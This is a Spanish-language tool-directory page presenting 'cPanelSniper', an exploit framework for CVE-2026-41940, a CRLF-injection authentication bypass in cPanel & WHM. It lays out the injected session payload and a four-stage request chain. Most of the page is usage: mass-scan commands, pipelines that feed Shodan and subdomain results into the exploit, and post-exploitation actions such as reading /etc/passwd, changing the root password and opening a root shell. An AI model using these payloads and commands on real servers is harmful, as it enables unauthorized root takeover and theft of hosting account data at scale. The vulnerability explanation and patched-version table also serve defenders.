Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/zwanski2019/cpanelsniper
Autenticación y AutorizaciónEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPost-ExplotaciónPruebas de PenetraciónComando y ControlRed Teaming
GitHubzwanski2019/cpanelsniper

cPanelSniper

33hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

CVE-2026-41940 — Bypass de autenticación en cPanel y WHM mediante inyección CRLF en archivos de sesión

Ver Repositorio
Compartir

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — Bypass de autenticación en cPanel & WHM mediante inyección CRLF en el archivo de sesión
Cadena de explotación de 4 etapas · Shell WHM interactivo · Escáner masivo · Listo para pipelines · Solo stdlib


Descripción general

cPanelSniper es un framework de explotación especializado para CVE-2026-41940, una vulnerabilidad crítica de bypass de autenticación que afecta a cPanel & WHM. La vulnerabilidad permite a atacantes remotos no autenticados obtener acceso WHM a nivel de root inyectando secuencias CRLF en el archivo de sesión a través de la cabecera HTTP Authorization — sin necesidad de credenciales válidas.

  • Puntuación CVSS: 10.0 (Crítica)
  • Explotación activa: Confirmada (abril de 2026)
  • Instalaciones afectadas: ~70 millones de dominios que ejecutan cPanel & WHM
  • Sin dependencias: Python stdlib puro — sin pip, sin requests, sin paquetes externos

Solo para pruebas de penetración autorizadas y programas de bug bounty.


Cómo funciona

La causa raíz reside en Session.pm: la función saveSession() llama a filter_sessiondata() después de escribir el archivo de sesión en disco. Esto significa que los caracteres CRLF incrustados en el valor de la cabecera Authorization: Basic se escriben literalmente en el archivo de sesión, inyectando campos controlados por el atacante antes de que se produzca la sanitización.

Flujo normal:
  POST /login/ → filter_sessiondata() → escribir sesión → comprobación de autenticación

Flujo vulnerable:
  POST /login/ → escribir sesión (payload CRLF inyectado) → filter_sessiondata() → la comprobación de autenticación lee el archivo envenenado

El payload CRLF

El valor de Authorization: Basic se decodifica como:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Estos campos se escriben directamente en el archivo de sesión en disco. Cuando se leen de nuevo, cPanel trata la sesión como una sesión root completamente autenticada.

Cadena de explotación de 4 etapas

┌─────────────────────────────────────────────────────────────┐
│  Etapa 0 — Descubrimiento del hostname canónico             │
│  GET /openid_connect/cpanelid → 307 → hostname real         │
├─────────────────────────────────────────────────────────────┤
│  Etapa 1 — Acuñar sesión de preautenticación                │
│  POST /login/?login_only=1  (credenciales incorrectas)      │
│  ← 401 + cookie whostmgrsession                             │
├─────────────────────────────────────────────────────────────┤
│  Etapa 2 — Inyección CRLF                                   │
│  GET / + Cookie: session + Authorization: Basic <payload>   │
│  cpsrvd escribe campos CRLF en el archivo de sesión         │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Etapa 3 — Propagar (gadget do_token_denied)                │
│  GET /scripts2/listaccts                                    │
│  Activa el vaciado raw→cache — los campos inyectados se activan │
│  ← 401 Token denegado (esperado)                            │
├─────────────────────────────────────────────────────────────┤
│  Etapa 4 — Verificar acceso root WHM                        │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = COMPROMETIDO   │
└─────────────────────────────────────────────────────────────┘

Versiones afectadas

RamaVulnerableParcheada
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5

Instalación

git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help

No se requiere pip install. Solo Python 3.8+ stdlib puro.


Uso

Escaneo básico

# Objetivo único — solo escaneo
python3 cPanelSniper.py -u https://target.com:2087

# Objetivo único — shell interactivo tras el bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Escaneo masivo desde archivo
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

# Escaneo forzado (omitir detección de cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force

Acciones post-explotación

# Listar todas las cuentas cPanel del servidor
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Ejecutar comando del sistema operativo
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Obtener información del servidor (hostname, carga, disco, host MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Obtener versión de cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Cambiar contraseña de root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Shell WHM interactivo
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Pipelines

# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Desde lista de alcance
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Resultados de Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python3 cPanelSniper.py -t 30 -o shodan_results.json

# Tubería stdin
echo "https://target.com:2087" | python3 cPanelSniper.py

# Múltiples fuentes combinadas
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python3 cPanelSniper.py -t 20 --action list

Shell WHM interactivo

Tras un bypass exitoso, la bandera --action shell abre un prompt interactivo:

════════════════════════════════════════════════════════════
  Shell WHM — target.com
  Versión: CVE-2026-41940 | Auth: bypass CRLF
  Escribe 'help' para comandos, 'exit' para salir
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [Cuentas cPanel]  target.com:2087 (47 usuarios)
    user01               dominio: example.com    email: [email protected]
    user02               dominio: shop.com       email: [email protected]
    ...
Descargar herramienta